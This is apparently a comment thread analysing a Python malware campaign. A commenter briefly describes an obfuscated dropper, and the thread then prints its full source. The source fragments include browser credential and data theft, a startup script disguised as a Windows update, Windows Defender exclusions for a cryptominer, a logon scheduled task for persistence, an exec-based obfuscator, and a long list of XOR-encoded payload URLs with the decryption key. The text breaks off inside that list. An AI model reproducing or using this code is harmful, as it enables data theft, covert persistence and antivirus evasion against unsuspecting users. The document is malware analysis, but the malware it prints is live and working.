    pax.fetch()  # Get database paths and keys
    print(pax.retrieve_database())  # Get the data from the database
    pax.retrieve_web() # Get the data
    browser_path = home + f"/{br.base_name}"
    pax.save(f"s{idx}", browser_path, blank_file=False, verbose=True)
    idx += 1

# dir = os.getcwd()
# os.remove(dir+'\%s' % sys.argv[0])

@AdityaMitra5102

Copy link
Copy Markdown

Now the last part, the obfuscated code. It is very interesting because this is the only file, which I feel has a human touch and is not AI generated. Mainly because how it begins with a quote. It aims to download TSUNAMI INFECTOR which is a botnet application from pastebin and install it. This code looks very dense. This also contains the obfuscator which was used to obfuscate all these files. And the malware dev apparently added a Rick roll link in the comments. It is weird.

# !!
# Sometimes you never know the value of a moment until it becomes a memory
# <3
# !!

try:
    ##### Imports #####

    import subprocess
    import traceback
    import warnings
    import platform
    import tempfile
    import winreg
    import ctypes
    import random
    import base64
    import zlib
    import time
    import sys
    import os

    ##### Supress Warnings #####

    try:
        warnings.filterwarnings("ignore")
    except:
        pass

    ##### Globals #####

    DEBUG_MODE = False

    PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe"

    APPDATA_ROAMING_DIRECTORY = os.getenv("APPDATA")

    TSUNAMI_INJECTOR_NAME = "Windows Update Script.pyw"
    TSUNAMI_INJECTOR_FOLDER = f"{APPDATA_ROAMING_DIRECTORY}/Microsoft/Windows/Start Menu/Programs/Startup"
    TSUNAMI_INJECTOR_PATH = rf"{TSUNAMI_INJECTOR_FOLDER}/{TSUNAMI_INJECTOR_NAME}"

    TSUNAMI_INJECTOR_SCRIPT = """            
RandVar = '?'

##### Imports #####

import urllib.request
import urllib.parse
import subprocess
import tempfile
import binascii
import ctypes
import random
import string
import base64
import zlib
import time
import gzip
import ssl
import sys
import os
import re

##### Globals #####

DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_PAYLOAD_NAME = "".join([random.choice(string.ascii_letters) for i in range(16)])
TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir()
TSUNAMI_PAYLOAD_PATH = rf"{TSUNAMI_PAYLOAD_FOLDER}\{TSUNAMI_PAYLOAD_NAME}"

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

TSUNAMI_PAYLOAD_SCRIPT = '''
RandVar = '?'

##### Imports #####

import subprocess
import datetime
import ctypes
import os

##### Globals #####

DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

##### Utils #####

def output(text: str) -> None:
    if DEBUG_MODE:
        print(text)

def is_admin() -> bool:
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

##### Tsunami Payload #####

def add_windows_defender_exception(filepath: str) -> None:
    try:
        subprocess.run(
            ["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
            shell = True,
            creationflags = subprocess.CREATE_NO_WINDOW,
            stdout = subprocess.PIPE,
            stderr = subprocess.PIPE,
            stdin = subprocess.PIPE
        )

        output(f"Added a new file to the Windows Defender exception")
    except Exception as e:
        output(f"[-] Failed to add Windows Defender exception: {e}")

def create_task() -> None:
    powershell_script = f\"\"\"
        $Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
        $Trigger = New-ScheduledTaskTrigger -AtLogOn
        $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
        $Principal.RunLevel = 1
        $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd
        Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"
                         \"\"\"

    try:
        subprocess.run(
            ["powershell.exe","-Command", powershell_script],
            check = True,
            creationflags = subprocess.CREATE_NO_WINDOW
        )

        output("[+] Successfully created the task")
    except Exception as e:
        output(f"[-] Failed to create the task: {e}")

##### Application Entry #####

if __name__ == "__main__":
    # Check if we are an admin

    if not is_admin():
        output("[WARNING] Not running as an administrator")
    
    # Add the Windows Defender exceptions

    EXCEPTION_PATHS = [
        # Tsunami Installer
        rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
        # Tsunami Client
        rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
        # XMRig miner
        rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\msedge.exe"
    ]

    for filepath in EXCEPTION_PATHS:
        add_windows_defender_exception(filepath)

    # Create the task

    create_task()

    # Keep the window open in debug mode for analysis

    if DEBUG_MODE:
        input()
                         '''

##### Obfuscator #####

zlb = lambda in_ : zlib.compress(in_)
b64 = lambda in_ : base64.b64encode(in_)

def obfuscate_script(data: str, loop_count: int) -> str:
    # Change the value of the random variable to ensure different obfuscation strings each time

    data = data.replace("RandVar = '?'", f"RandVar = '{random.randint(100000, 10000000)}'")

    # Setup obfuscation

    xx = "b64(zlb(data.encode('utf8')))[::-1]"
    prefix = "_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));"

    # Perform obfuscation

    for i in range(loop_count):
        try:
            data = "exec((_)(%s))" % repr(eval(xx))
        except TypeError as s:
            sys.exit(" TypeError : " + str(s))

    # Build the complete output

    output = ""

    output += "\\n"
    output += prefix
    output += data
    output += "\\n"

    # Return the output

    return output

##### Utils #####
# :)
def output(text: str) -> None:
    if DEBUG_MODE:
        print(text)

def is_task_scheduled(task_name: str) -> bool:
    powershell_command = f"Get-ScheduledTask -TaskName '{task_name}'"

    result = subprocess.run(
        ["powershell.exe", "-Command", powershell_command],
        creationflags = subprocess.CREATE_NO_WINDOW,
        capture_output = True,
        text = True
    )

    if result.returncode == 0 and result.stdout.strip():
        return True
    else:
        return False

##### URL Downloader #####

def xor_encrypt(text: bytes):
    XOR_KEY = b"!!!HappyPenguin1950!!!"
    
    encrypted_text = bytearray()
    for i in range(len(text)):
        encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
    return bytes(encrypted_text)

def xor_decrypt(text: bytes):
    return xor_encrypt(text)

def decode(encoded: str) -> str:
    encoded_bytes = binascii.unhexlify(encoded)
    encoded_bytes = xor_decrypt(encoded_bytes)
    encoded = base64.b64decode(encoded_bytes).decode()

    return encoded[::-1]

def download_installer_url() -> str:
    URLS = [
        "6c5b6c7c2f1d081134225b0b2f2e025b6005764a434c774f7b1d19163e3d091c205419060d76004f52135951406763783b274511322d2c0b172e0276750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6c5b68322c283e003257570c112138615a067e4d42126f63793230073e2d3c0d0f303f1d0c0341436113734d4079637938423e291c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e6578322f3726123432160b16052c4b637205104312635543782f163e133755200a405c0c76554c6974104a7b7677223843262d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6c756c7a2e383e153157281e24043c5d6372664d754d19136f0c2c0a123e160f0f3f27190d5a774f54666f4d42696f3e021c310f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6e75747d2f283e0c325702572c3e1642606d625b434a4d5b451f5800153e6527361d1610205b734f534c77547876773b3042260032575f17112e1659685c09106d13105778315405112e1a090a2f3b010d7201437f4f6f5645697327",
        "6c7574782f283a0f09080609143e387e5d7d7e4d424c1857740e59083e2d37500d55230237667759626973547b76103f0342081534083822395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6c75607c2c433e15335702552f2c284b5b58095142127752787a54062148685021332c5b0d036f0752126b5643744d26031d1c000a3d3c572c3e2065750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6e656c792c1e3e15313d3c14113e204163586a5173696b4d450f540012481203230d305d23666b4c69761848424c7727053749373208571e2c3e0665750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6e75647c2e3822160a57020b115a245d5d5e094d4376184b7b1d2b163d2d0156230a271a0c036345524c676f7b76103e021d183d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e7578312f383a15342d3c562404060163627a4942134d52731e59093e3d33540d543f050a76554c661245574366592000363d0f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6c65707d2f383e030a3234121759205d5a5b664b7b776f476f2230413e171e550d0a23030c5c00715313594945761420352349481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6f75787d2f1e3a150a225b0f173e5f476806725740696f53422558282803155021333b1a0c03005a69106f5640764932021e26153208381e162e38485d7205676d127457431f581a3c146515370a23590d037f427c5819174212637805371744",
        "6c6578782c2822130a3d3c17142e20486862014d45696f14427a581a222f6855202334130d034145544c776478764d3d382826163422022a395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6e7546792f37450f33575b0f213e385f6362485243116f476f1c20423e171e100c55195937026f4c54696f5472796f3b3b273a1104265756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f5b467d2c1e220c0a325f57170402475a7d72637b7645494225371b12150603200d341023036b595366674e74126f3d03421c4909323c11173e5f4760077e636d127457431f581a3c146515370a23590d037f427c5819174212637805371744",
        "6f5b6c7c2e383e1732080257112e38655a077e5143766754441d33163f3d095723550d013703555b5213595778117724021e260333552b11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c4b68312f424515312d2c0b112f204b5b58095145666751450f581e2a2c65032123161023664d5f5176105843136f2235283e15313220122c3e20596f5c09106d13105778315405112e1a090a2f3b010d7201437f4f6f5645697327",
        "6c5b467b2c27360c09325b0f24043c5d63720549424f7375793234403e13381f343f3b1334660c4652644d4d424c18230342261606265756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c5b4a782c27140c3132201e113e574b5d7d667144766f4945250d09253f6851233334100b6641596a664d794212773e03281c0c32575b25395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6e754a7b2c42040c093d240b2f5b28605a58664a434c67157b1f193228033b12230d3f1034696b0554746b14434c18270237260a0a333f11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c756c7b2c27140c313d3c0a2c3f245d63077651424f6b49751e59403f3d051f34554c1a37660c776a76144d78126f21350949481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6c4b467d2c283e490932381e142f3c5f5b585c4c7b4c6711747959073f2d371f343f3b130c02735f6974595443134d783842260031303f11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f65647d2c42140c313d201120212048636d724942665952781e05163e133356203001033766735e534c67687b13143802433e15330e3f11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c5b607c2c42264b313d3c0d113e3c475a59724d43666f5145002b18253f6854233312590d5c6f5c51796b4b42136b7934422215335702122f5b575b6363795745721855437a2c0512143c0c343f2713376978437c5b515b4269737800314d44",
        "6f5b64322f381c0a0a575b17165b285d5a587e5472794d4d43262b0614310227361d3c5d23657759524c1449431151323b28221134323c0f16020d475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6f5b4a302c1e1c0a0908285717595b485b0705497b765967793238073f2d16100f304c103464514c6a797351424f4526031d492d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e6560302f283e0c31323857175a24605c6d625278767772793234413f3d38093755191a0c007b5d51765951784c67310342411504365756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6e7570322f1d260933225f0f2f3124755b72765145696b49420f503a2803195120333f100c03554c6a7963107413732400423e0f32202711113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c65703f2f37450f313d3c0f2f5b02015a076613434a4d4f43250d02294b161c38214d5d2175744f531314574079732000283a0e32562410162c280463720549424a6857451b5804124b1d100c0a190034696b4f697960576d5b5132023822493124535a",
        "6c65463f2f432248332d3c56215b3801606d7a1142131457431f373528030550212311070c5c554f51796b56424f771c3b273e110a0b240b112e5b7b750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6c65467d2e381c0a3222281e2f313c416d7201494066144d450f191c113c1e03230d305a2002735d524c4d557b776f7b3b271c4b33083857170205475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6e6570312c42260c32570610172e165d68065c52436667544225374012123c03201d121121697343546667587b76142433431c0009320a142c3c23475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6c4b74782f283a15312d3c0f2f043c44606d7a69424f735b7b7b2f3e28031157230d2710346608456976594b42134d0d02422617093d3c57175923475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6f6542302c283e1509575b0b1604385c63637a5b457618514225372428031957213323130c5c004553126f4d42126f3e34381c0032563c172f213873750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6c6560312c2708150956240f202e3c5d5a586648437677557b1e2b163d3d3b1c203027050c5c55586a776b4d42694d783828221102265756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c5b747d2f383e15340802572c3e5b48636d62527076774b43252700123e2827361d245d2365775d524c6751424c6706031d36153208281e160438015862624d757218106d7a5006290065100f303f050a79775d536219576e4f6f3f05382216",
        "6c4b647a2f1e3a15330b38572c5b285c5d62054975796f4d7b100d06123112113c314d5921655e055312775740766f32031d493d0a3d200f14213c445c637d5745721855437a2c0512143c0c343f2713376978437c5b515b4269737800314d44",
        "6f4b46302c1e1c0032570a0b112e28755a58664f424c676c793238433e03161f0a552310375c6f7c51126b57451310203b26210f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6f5b74302f1e3a15353d0a0f21212c41587d7e587b7659497b1d33163f2d011d203023100a696b0151747b5b456614240328220c31325710162c2b475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6e6578792c42140c31325f1e175b34486363725b7b764d58781f54002115685720232c1134696b5d5269774b40797331382632153222240f1704574b606266726d127457431f581a3c146515370a23590d037f427c5819174212637805371744",
        "6c65747a2f1e3e1232082857205a205d58627e547b7977597b102b3728033b50201d3f070c5c5505517673107076777a00283e030a322053273a57007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6c5b60792f37450f313d3c1e17582c5f5b585c584079635b43230d163d3d3351213023020c02774553647756457618313b42040032540d11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6e75783f2e383e15313d24112f3e06645a06625843126355721e59453e13051f3420231034760c0463696f11434c6738021d362e1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6c756c322f383a153408570b145b28645b724857424f6b49707959413d2d1954342023030d5c0072531377557b764922340949481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6c5b78302c42451531572017142c204b636d7e5b43116b476f22020a3f211e1c373f27010a5a7f056a7659524574683e0523490d3257231217040258636d625b787960576d32110a133102550f264854",
        "6e6578302e28220331325b56173e5f476807094f78766f51400d2f163e3d155520093b1c0c0377455466185573794d230527490a011c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f754a7c2c42450f330b3c562f3c5b445b075c1178137752430f583428033b1f2333191334697304554c4d4d74126f26031d1c0c3208382c395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6c65427a2e27264b313d3c0f1707245d5d724863434c1858781f09242803191c20233f1a34030c59536418544312733d021d491606265756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c75743f2c1e3e0d312d3c171604575f5b70765b4376674d422333163f3d3b55212f3f050a5c005f6a696b4972694d270537140c0a301911113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6e6560302c2722153408281e2f5b5b77630705517b134549770e59423d3d09500d54231f0c5c6f5b5176735472796f310027360e0a332711113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c4b423f2f1d140c31323c0b2f3c5b5d5b7d725178131451422423163e2d115120543b1034695d4351676f14424c673b05273a1109575730395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6c4b467c2f383e483308025514313c44686d584d4369635543782f163e2d1957202f3b1c0f66414652116f4a7b797b20021d140c02365756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f75427a2f283e4932082857113c5f44636d4057424a7b476f3224423e171e100c553b190a760041627614574079732003382603320e0511113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6e6560782e383e483356240b230724595d724849424c6b51737959423f2d1d500c200d01375c6f4f69746b4d444c4d3c0027450904365756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6e6570792c281c0a3422200f102c384b5c62665b424c776a793202423f2d020e343f2f1f0c666f66531273547b761038021d260e35203b11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c65427a2c42081134080257165b38766362055143666f4d730e59413e2d011d0c0a4c190a7655056a7763117b76593c3825170f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6c5b68322e37261709321614143f344b5b58095145666713437a5405232f6855200d38130c5c004553126f5143796b2434373e09342257172c0402015b5e755745721855437a2c0512143c0c343f2713376978437c5b515b4269737800314d44",
        "6f7578322f42450f32562c1d2c3e38645b5809517b134d527b1e2b163e030155205523590a697b4152116f577b696b20031d491504265756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f75747d2c2722153208020f11213c7360625c4a40797b6e793238093e131e500d0a235934660859611377587879453c021d1c3e1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e754a792f383e0c3256200f2f3f24015a07664f7b127775793238443d3d021637303b190a76554c611377117876733e0327410f09572025395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6c5b6c312f27140c31323c141759345a636d7a4d45696f5143250d042a3c160320332c11205c5d5d52696b4d774c453d002745000932382a395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6f75707a2e28220c0a3d3c12263120445b07015543116f476c320a443f211a090c2f27193d766b5952694d11745818792d42410f091c5b12143e245d5d7d7e49426219576e262f071431020a",
        "6f5b6c7c2f283e030a32200d243e0a4458626252431110476e1c28423e2e061c0a3027053703004c6566145740797320021e221532083836395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6f5b743f2e372600343d3c0d143f2c045b7248494576735145250d1b12123c032123345a23660c4552796b497313592000273e090a083437395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6f4b6c7c2f383e000a3d3411245a20585b07404a434c6768793238073d033c1f34301902346608436113775b4576673b300949481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6f5b427d2f4218133422381e112f2048636262514213146b79320a073e3d06110a30190237696b6152667754434c1832021d26281c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e65607d2f42450f313d3c0f10040242586d6a5170126f58437b2f052a2f1e03230d245920766b5953126f4d42126f3e34370811320b3813173e5775750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6f6578782f281c0a0a3d2417112e5b775a58664d45661410430f582728033b1f201d19590a76005c694a675545764d320343320d35332311113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6e656c7d2f37264833320212142e205d6f7d7e5443134d11787b37322803375721332f1034665d406a796f5b7b7410323b282a110a301911113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c65747b2e2822130a3d2c1d113f205d5a58094c7b746b476f0c30453f211e0e0c0a331d34646b5b524c4d54434c673b343349481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6c5b707b2f1e3a15342d200f273e38485d6d6251434f6b10732459433f2d331f3420231d34666f61526667517813773f340949481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6c65707a2c27140c313d20172c31245a5b5b666643666751450f541814311e0c0a313b0f234b6c4d7d13734d424c4d7902273e3b353d3c12143e28015a5866656d127457431f581a3c146515370a23590d037f427c5819174212637805371744",
        "6e6568322f422215313d241e2c3c5f4b5b075c4a4579737579322c453e2d34550c0a23020a69736469134d1142134d78021b350f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6c654a782f1d450f3232381517582c4b6062665b424c77137579590a3f2d011d0d55235937697345656614587b79733d3825070f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6c6574792f1e3e1532080213160438016360625278766f514500232028033b55230d3f070c5c5505534c18567412733f3b273e1301365756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f754a312e28320d313d2408205a02425a720157701019586f32300a2a211a0d0a5427053a5c5105534c4d487b66593800353d0f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6e7578792e272200093d1e17235a3c4b5b585c497b1167476f3224423e2e34100f30401937696b4c6a77635443134d78031d264b32085723395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6f7578312e2718173432571e142f3c5d5b725454457451476c1c34073f311e090f2f3b193c766b406a764d587b4c59310025130f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6f5b703f2e383a480a3d3c0f173c285f5b585c5443126f497b1e2b163d031d51203f27050c76734362124d58424c772100423e1132202711113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c4b747b2e37140c313d240f17582001587254517b796b66793228423e2d1a0b0c0a19040a647300534c67544076452003251b0f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6c7542792c4222153408571e16212c735b58664a424f7762793228433d3d16090c3f23030c016b435276184a424c18393825400f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6e754a782f423613313216102f3f244b5a586654424c674d750e59093f2d0150345540193479735d54126b57734f4d320242490a021c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c7568782c422600343d3c101431245b6c067e4a434c6758702459093d3d331c345540190f03415d6612735b78767b3a38272600010c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f5b6c302f27360c093d0a1d112e5772630705514366594d420f500621486856230d1e5c0b69734353134d137b646724021d490e09320a12143f23475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6c65787c2c42140c313d240b11045775637d7a497b661449450e2f163e0333542055401f0f66414651746b4d436963310526310f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6e7578322c1e3e48325702552f3124605b58095b4366776e7932380a3d031e1f0d0a23060a7400466976105843131421302349481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6e754a7a2c281c49313216172c04284660607e144369734e7b7a0d032548681d21331e1134660c45694c105770126f3d03421c4909320a0b172e1673750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6c4b747a2f1e220f313d24572c3f2c5f5b585c54424f77117b1e2b163d3d015723543b050f666b43614f6f527b76672738421c371c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6c5b743f2f27450f313d3c0f143e164160070557781377727b0f3740294a060e0c0a4c2d364b5e427e4b7b144369733d3b282203313d201217592048636d625878746c57451b5804124b1d100c0a190034696b4f697960576d5b5132023822493124535a",
        "6e7570312f433e1533082808205b5f4b586d625678746b476e1c38443e3e34100f30270534697376524c774d45667b38331949481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6f5b78782e27220c09325f0b272e5b475d7254544079494d750e59443d03055634303b103466084152136f67447677223828222d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6c6560302e283e030a3d24572c5928045d725c5240766b57751e59443e0301550c2019010c69735953694d687b131438031d1c0d330838572f3c3f475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6f756c322c1e22153222340f2f3c165f5b585c5240766775793220093d031e100c551959376973056a76144d74667722021d361505265756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c4b463f2f1e140f3222160f142f2048606d664f787451476f2230093e311e090d5519580d5a77006913671042767723302349481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6c75687a2e2726480a57280b172e16476807444b78766b4e787b3318233f681f2333385b0c796f5c524c671142114d233b283a15332d2017142f0d475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6f7560322f43220f312d20122f3e384860047e5b7b76454942263706294b6523361d201e2075734c6a7614574079733805373e1133092c532f3e16465b6209656d127457431f581a3c146515370a23590d037f427c5819174212637805371744",
        "6c6560792c283a15312d3c111702284b5b58095145666713437a5405232f681f21232c133466415951666f51757673240237490a0a3d340b272a57007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6c756c7c2c433e15342228571659384b63627e5440797b57422423163f2d0912230a111c0f66515f5466676f406645790342453f1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e7570312f273e090a223810175b06015a5e095278761457401033052a2102103d314d5820656c4c5313674a4076730a3b37261232223817223a57007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6f5b787b2e3722153422281e2f3e165d60077e637b764549427b2f18242f6854230d16593466414651796b694366677a00271813330e2b11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f6560322c432203313d245617583c4b5d72054d4379774f422327163d031d1c233040050f03004c614c145740797338031d14331c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6c6560322c2714090a085b11245b285f5d62765b42134d5b427a0d3e2803371d20233b130c767f40517610587b777326031d1c4c322d2c10243a57007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6e756c312c283e030a32160b173e57786372661178766f5143263704122e6921361d1e5c2365734f534c774a40796f3d03403e0333220208165b5b47586d6249436677726d7b3406122e690f220a4019375c6f05531367566d58197e024332493422095a",
        "6f4b787c2e3722153408571e162e5f7b636d7a1045666f497b263705292c6103231d34112066415d5179735478797332381e262d095702572f3e0a48636205676d127457431f581a3c146515370a23590d037f427c5819174212637805371744",
        "6c754a7a2f272649343d3c0f112f205f5b585c5243664d6d793238433d3d061f343f27580a767f05651273587b796f24333349481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6c75607a2e283e0c32570257113e24415a5b625443116f5b4325581e29211a20361d1e5b2175635e6a76735878764524341e3e0c325716142c3c0d475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6c6568322f4204093422571e273120015b58664a40796f4d742459433f2d3b1d0b3f3f010a660c5d634f4d4f4313593e00283e4c31232f11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f756c7b2f42260c09321610160402735d7d7e107b127763793206093e3d161f34301d070a6451005466494f4074113e0523490d3257231217040258636d625b787960576d32110a133102550f264854",
        "6c5b78302f281c11322d2c0c172e57755d72584f40767712450f091e112c2803230d205b205f775f51796f144069633e021e220301325b111431204b5862015b434c6758770b58413c4b6113371e401c0f66735954696f494262193e2e1e3e0e342d3c08",
        "6c5b78782c27140c31323c56172e20446a62664b4076144d772459433d030951343f3f103466556452666751424f73320527220c03365756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f5b707d2c27450f313d3c0f2c5b025c586262577576734d787a270313311e153c214d112075600069761449454f6b38351d41110957240b231057007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6c4b46782f1d221509085f17172c205d5b585c5243126b49707959433e3d0154343f3f5834766f5f52126b707b6677780028262d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6f5b707c2e272215343d2457165b5b4768067e4f434c4d11450f372428033357232327070c5c555e69796b4f4267777d0338220c0a3d381f2f3120445b057d5745721855437a2c0512143c0c343f2713376978437c5b515b4269737800314d44",
        "6f75427d2f1e1c4d0932160f275b5b476362545845776f476f0c24443e4a1a09345511190d5d6b006a1318527876773d3b25130f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6e75463f2f433e0a093d0211200720435b070958704d19116c3206411314060a0a20330434760c5d534a45144366592003283a0f020c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c756c7c2c433e4a0a3202552f3f245d5a7d5c1143127357422423163d131557212f271c3466555c5274674a7b76142600263d0f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6e6546322c272600313d3c12273e165960075c4f43135957401d2b163d130512203f27050f03775d6566735478765932031d261534332b11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f75747d2f37260c330b38112c04165d6d62665545765957772459093e3d11570a2f3b010f026b046412735b45766b3e341949481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6e65467b2e3722150956380c175a244663637a4f434c4d5b781f373d28033312231d111a3766005f534c674e70126f323b273e1301365756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f5b607c2c43220c0a325b11162e5f4768065c5878767354451f58332803155620332f1c0c030c59527618547b764919033736163422382a395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6e6546792f272215330b3809143c345f5b585c5278767775793238453d030a160c2033060d02735d64766f51436618270537363d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6f5b687b2c1d221534320a1e24312042636d7e5b7b777b476c1c2c093f211a09375423020c0273645313145740797320033826170a332711113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
